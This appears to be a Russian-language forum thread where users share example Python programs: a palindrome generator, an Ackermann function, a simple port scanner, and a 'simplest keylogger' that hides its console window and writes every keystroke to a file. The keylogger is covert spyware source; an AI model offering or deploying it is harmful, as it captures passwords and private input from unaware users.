Всем привет. Нужны примеры программ написанных на python. Можете кидать названия того что можно написать на python. А можете сам код программ и пояснение что это такое.
import random def gen_pal(): length = random.randint(5,200) h = [0]*length filt = """><-=+/.,;'"`\|)(*&^%»¿ ¡« » ‹ › " ‘ ’ “ ” ‚ „ § ¶ † ‡ •— – …√ ∫ ∂ ∑ ∏ & ≅ ≈ ∝ ≡ ≠ ≤ ≥ < >⊗ ⊕⨯− ± × ⋅ ∗ ÷∈ ∉ ∩ ∪ ⊂ ⊃ ⊆ ⊇ ∅¬ ∧ ∨∃ ∀ ← → ↑ ↓ ↔ ↕ ↵¹ ² ³¼ ½ ¾°″∞‰∇ ℵ ℑ ℘ ℜ♔♕♖♗♘♙♚♛♜♝♞♟▄▀▄▀™ © ® ¢ € ¥ £ ¤ $#@!}{]’«[— """ alph = """aAbBcCdDeEfFgGhHiIjKkLlMmNnOoPpQqRrSsTtUuVvWwVxXyYzZ""" for i in range(length//2): d = random.choice(alph) h[i] = d h[-1-i] = d for i in range(random.randint(0,length-1)): h.insert(random.randint(0,length-1),random.choice(filt)) return "".join(str(x) for x in h) Код import random def gen_pal(): length = random.randint(5,200) h = [0]*length filt = """><-=+/.,;'"`\|)(*&^%»¿ ¡« » ‹ › " ‘ ’ “ ” ‚ „ § ¶ † ‡ •— – …√ ∫ ∂ ∑ ∏ & ≅ ≈ ∝ ≡ ≠ ≤ ≥ < >⊗ ⊕⨯− ± × ⋅ ∗ ÷∈ ∉ ∩ ∪ ⊂ ⊃ ⊆ ⊇ ∅¬ ∧ ∨∃ ∀ ← → ↑ ↓ ↔ ↕ ↵¹ ² ³¼ ½ ¾°″∞‰∇ ℵ ℑ ℘ ℜ♔♕♖♗♘♙♚♛♜♝♞♟▄▀▄▀™ © ® ¢ € ¥ £ ¤ $#@!}{]’«[— """ alph = """aAbBcCdDeEfFgGhHiIjKkLlMmNnOoPpQqRrSsTtUuVvWwVxXyYzZ""" for i in range(length//2): d = random.choice(alph) h[i] = d h[-1-i] = d for i in range(random.randint(0,length-1)): h.insert(random.randint(0,length-1),random.choice(filt)) return "".join(str(x) for x in h) Генератор палиндрома, с добавлением в него мусорных символов, которые обычно не учитываются для проверки на палиндром(тут они не все) --- Сообщение объединено с предыдущим 14 сен 2019 def Acr (m,n): if m==0: return(n+1) elif m>0 and n==0: return Acr(m-1,1) elif m>0 and n>0: return Acr (m-1,Acr(m,n-1)) Код def Acr (m,n): if m==0: return(n+1) elif m>0 and n==0: return Acr(m-1,1) elif m>0 and n>0: return Acr (m-1,Acr(m,n-1)) функция аккермана на python работает не быстро
himport win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #открывае output.txt для чтения текущих нажатий клавиш f = open('c:\output.txt', 'r+') buffer = f.read() f.close() #открывает output.txt для записи нажатий f = open('c:\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() Код himport win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #открывае output.txt для чтения текущих нажатий клавиш f = open('c:\output.txt', 'r+') buffer = f.read() f.close() #открывает output.txt для записи нажатий f = open('c:\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() KeyLogger на питоне (простейший)
from termcolor import colored import socket def fanc1(): color_a = colored("[+] ", 'green') print("~"*50) host = input(color_a + "Host --> ") port = int(input(color_a + "Port --> ")) print("~"*50) scan = socket.socket() color_b = colored("[!] ", 'red') color_c = colored("[!] ", 'yellow') try: scan.connect((host, port)) except socket.error: print(color_b + "Port -- ", port, " -- [CLOSED]") else: print(color_c + "Port -- ", port, " -- [OPEN]") def fanc2(): color_a = colored("[+] ", 'green') color_b = colored("[!] ", 'red') color_c = colored("[!] ", 'yellow') host = input(color_a + "Host --> ") print("\n") port = [20, 21, 22, 23, 42, 43, 53, 67, 69, 80] for i in port: try: scan = socket.socket() scan.settimeout(0.5) scan.connect((host, i)) except socket.error: print(color_b + "Port -- ", i, " -- [CLOSED]") else: print(color_c + "Port -- ", i, " -- [OPEN]") print("~"*50) print("\t[1] --- сканировать отделный порт") print("\t[2] --- сканировать список") print("~"*50, "\n") text_a = input("[scan]--> ") if text_a == "1": fanc1() elif text_a == "2": fanc2() else: print(colored("Параметр введен не правильно!", 'red')) input() Простой порт сканер